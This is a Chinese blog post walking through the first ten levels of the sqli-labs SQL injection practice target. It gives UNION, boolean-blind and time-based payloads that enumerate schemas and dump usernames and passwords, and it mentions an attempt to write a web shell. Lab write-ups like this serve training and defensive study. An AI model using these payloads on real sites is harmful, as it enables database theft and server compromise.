sqli-labs-master前十关过关总结_Alexz__的博客-程序员宅基地

技术标签: 靶机训练  

登入Windows命令行MySQL,方便查验注入命令
 
 
第一关:
在$_GET id 处注入
源码如下
只需构造闭合即可爆出数据
单引号’报错
查列数:
知道为3列之后使用sql联合查询语句:union
这里需要注意,使用联合查询爆出数据库名称的时候前面id值需要放空:
因为网页上能显示的只有第一行的内容
所以前面id值需要放空为“null”
 
查看所有数据库名称:
?id=' union select 1,group_concat( schema_name),3 from information_schema.schemata --+

 

 
查看所有表名:
?id=' union select 1,group_concat( table_name),3 from information_schema.tables where table_schema='security' --+
 
已知数据库名和表名,爆列名:
?id=' union select 1,group_concat( column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
 
分别在2,3处显示username和password:
?id=' union select 1,group_concat( username),group_concat( password) from users --+
 
 
 
 
第二关:
通第一关类型一致,但是为数字型报错,不需要闭合
所有步骤同第一关一样
 
 
 
 
第三关:
同上,报错为单引号+小括号:   ')
 
 
 
 
第四关:
 
 
 
 
第五关:
先构造出闭合,直到其为报错为止,就说明以及进去了
利用Firefox插件MaxHacKBar(f12)中的报错语句
 
 
 
 
第六关
同第五关一样
找到了闭合点一切就可以按照套路来了
 
 
 
 
第七关
需要了解这两个函数,可以调出数据库的安装路径,以便通过菜刀连接远程服务器
钥匙我们需要写入木马文件,需要先判断是否具有写权限:
?id=1' and (select count(*)from mysql.user)>0 --+
若返回正常则具有写权限
 
 
无法写入,理论上都是正确的。。。先走一步看一步,不要在这儿浪费太多的时间
 
 
 
 
第八关:
这一关是基于布尔的盲注,从报错的结果返回来判断我们的猜测是否正确
 
盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
 
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
 
mid(str,pos,len):跟上面的一样,截取字符串
 
 ascii(str):返回字符串str的最左面字符的ASCII代码值。
 
ord(str):同上,返回ascii码
 
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
 
正确的显示为:
错误的显示为:
 
所以这里的闭合为单引号 :‘
先在dos上测试一下:
security第一个字母就是 s (这里也区分大小写哦)
 
故可以进行布尔判断:
?id=1' and if(ascii(substr((select database()),1,1))>114,1,0) --+
规律同上面关卡所示
 
 
 
 
第九关:
基于布尔的时间盲注:
通过sleep()函数,通过web界面的返回时间长短判断是否被执行
括号内的数字代表延迟时间(单位是秒s)
在时间盲注上的sleep韩束位置选择,最好可以再是错次数交多处进行卡顿,这样可以大大节约测试时间
正在卡顿中....
 
?id=1' and if(ascii(substr((select database()),1,1))>114,1,sleep(2)) --+
同样套路
 
 
 
 
第十关:
发现标题是: 双引号,但是却一直是同样的“you are in ...”
那就该是被定向了,需要通过实践延迟函数来判断他的闭合区间:
?id=1" and sleep(5) --+
这个的返回时间明显加长了很多,那就是双引号了。
具体的时间注入这里就不想过深的去实践,因为太浪费时间,可以自己用python写出一个运行脚本或者是直接上工具SQLmap来进行测试;
 
 
 
 
 
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/Alexz__/article/details/104171778

智能推荐

mysql优化一:深入理解mysql索引_天黑请闭眼丶风的博客-程序员宅基地

文章目录深入理解mysql索引为什么要使用索引常用索引的数据结构二叉树红黑树hash表b-treeb+treemysql的b+tree的数据结构mysql索引聚集索引非聚集索引为什么建议建表的时候必须建主键,并且建议才使用整型的自增主键深入理解mysql索引数据结构展示:https://www.cs.usfca.edu/~galles/visualization/Algorithms.html为什么要使用索引下面以二叉树为例如果有一条sql select * from t where t.co

详细聊聊k8s deployment的滚动更新(一)_weixin_34210740的博客-程序员宅基地

一、知识准备● 本文详细探索deployment在滚动更新时候的行为二、环境准备组件版本OSUbuntu 18.04.1 LTSdocker18.06.0-ce三、准备镜像首先准备2个不同版本的镜像,用于测试(已经在阿里云上创建好2个不同版本的nginx镜像)docker pull registry.cn-beijing.aliyunc...

分布式系统对比集中式系统优点_weixin_30426065的博客-程序员宅基地

  首先来介绍一下什么是分布式系统,分布式系统(distributed system)是建立在网络之上的软件系统。正是因为软件的特性,所以分布式系统具有高度的内聚性和透明性。因此,网络和分布式系统之间的区别更多的在于高层软件(特别是操作系统),而不是硬件。  而集中式系统主要指IBM、HP等小型机以上档次的系统,一个主机带多个终端。终端没有数据处理能力,运算全部在主机上进行。现在的银...

oracle 数据类型 java_oracle数据类型和对应的java类型_身登青云梯的博客-程序员宅基地

在创建一个表的时候,会要求输入varchar2 的类型长度,表13-1 SQL JAVA 对应关系SQL数据类型JDBC型标准Java型Oracle扩展的Java类型標準JDBC 1.0型:CHARjava.sql.Types.CHARjava.lang.Stringoracle.sql.CHARVARCHAR2java.sql.Types.VARCHARjava.lang.Stringoracl...

makefile 基本总结_安东time的博客-程序员宅基地_makefile总结

概要makefile配合make使用,make相当于makefile的解释器,makefile相当于待执行脚本makefile文件基本语法目标文件(希望生成的文件):依赖文件(生成目标文件需要的文件)执行命令是否执行执行命令,取决于依赖文件和目标文件的最新修改时间,如果依赖文件修改时间晚于目标文件,则重新执行命令。递推规则就是如果依赖文件是别的语句中的生成文件,可以先执行别的语句产生依赖文件伪目标就是目标文件可以是伪指令(不会生成文件),但可以执行指令自定义变量 系统变量就是先定义一个

【深入理解Java原理】Java 内存模型中的 happen-before 是什么?_wangxiaoming的博客-程序员宅基地

Java 内存模型中的 happen-before 是什么?Happen-before 关系,是Java 内存模型中保证多线程可见性的机制,也是早期语言规范中含糊可见性概念的一个精确定义。它的具体表现形式,包括但远不止 synchronized,volatile,lock 操作顺序等方面。happen-before 原则程序顺序规则:一个线程内执行的每个操作,都保证 happen-before 后面的操作,这样就保证了程序顺序规则,volatile 变量规则:对于 volatile 变量,对他

随便推点

汽水小公举控件_何以诚的博客-程序员宅基地

https://github.com/ChanJLee/SodaLadypackage com.os.magic.progressbar.soda.view;import android.annotation.TargetApi;import android.content.Context;import android.content.res.Resources;im

小程序 Canvas base64 二维码分享_程序员中长的最帅的的博客-程序员宅基地

做小程序二维码分享的时候遇到的问题。因为时间关系公司也没做文件服务器所以没有指定的文件路径没有办法使用最简单的在线读取文件。所以小程序码是使用一次生成一次的后端是使用java(我自己)访问小程序接口获取小程序二维码然后转换成base64返回给前端(还是我自己)。显示的时候是没有问题的,小程序的图片显示本身也支持base64,但是在绘制的时候问题就出现了,Canvas不支持base64,然后我...

php 简易if,PHP实现简易blog的制作_weixin_39945816的博客-程序员宅基地

最近,有时间看了点PHP的代码。参考PHP100教程做了简单的blog,这里面简单的记录一下。首先通过,phpMyAdmin创建一张blog表。纯界面操作,过程比较简单,需要注意的是id是主键,并且设置auto_increnent 选项,表示该字段为空时自增。其它字段就比较随便了,注意类型和长度即可。创建数据连接在./wamp/www/blog目录下创建conn.php文件。mysql默认用户名为...

[COCI11-12 #4]删数游戏(贪心+数据结构)_domy79360的博客-程序员宅基地

题目描述题目描述给出一个N位数字串,删除任意K位,使剩下的数最大.。输入第1行:2个整数N和K(1<=K<=N<=500000) 第2行:N个数字(可能为0)输出第1行:1个可行到的最大的数样例输入10 4 4177252841样例输出775841题解刚看到题目...

LVS-keepalived热备_大V天龙123的博客-程序员宅基地

目录1.Keepalived简介2.keepalived工作原理3.配置文件4.实验1.Keepalived简介Keepalived是linux下一个轻量级别的高可用解决方案。高可用:广义来讲,是指整个系统的高可用行;狭义的来讲就是主机的冗余和接管。Keepalived部署和使用非常的简单,所有配置只需要一个配置文件即可以完成2.keepalived工作原理keepalived是以VRRP协议为实现基础的,VRRP全程 Virtual Router Redund..

Python中利用tkinter模块制作一个简单的自我介绍窗口_在线码BUG的博客-程序员宅基地_python tkinter模板

今天为大家分享一个利用python中的thinter模块介绍自己的的代码1首先创建一个python文件,编辑如下代码#导入模块import tkinter as tk#实例化窗口win=tk.Tk()#设置窗口名称win.title("个人资料")#设置窗口大小win.geometry("250x400")win.mainloop()#窗口运行代码一般放置在代码结尾处在上面这段代码中我们通过导入的模块创建了一个名为个人资料的窗口并通过窗口的geometry属性设置了窗口的大小.

推荐文章

热门文章

相关标签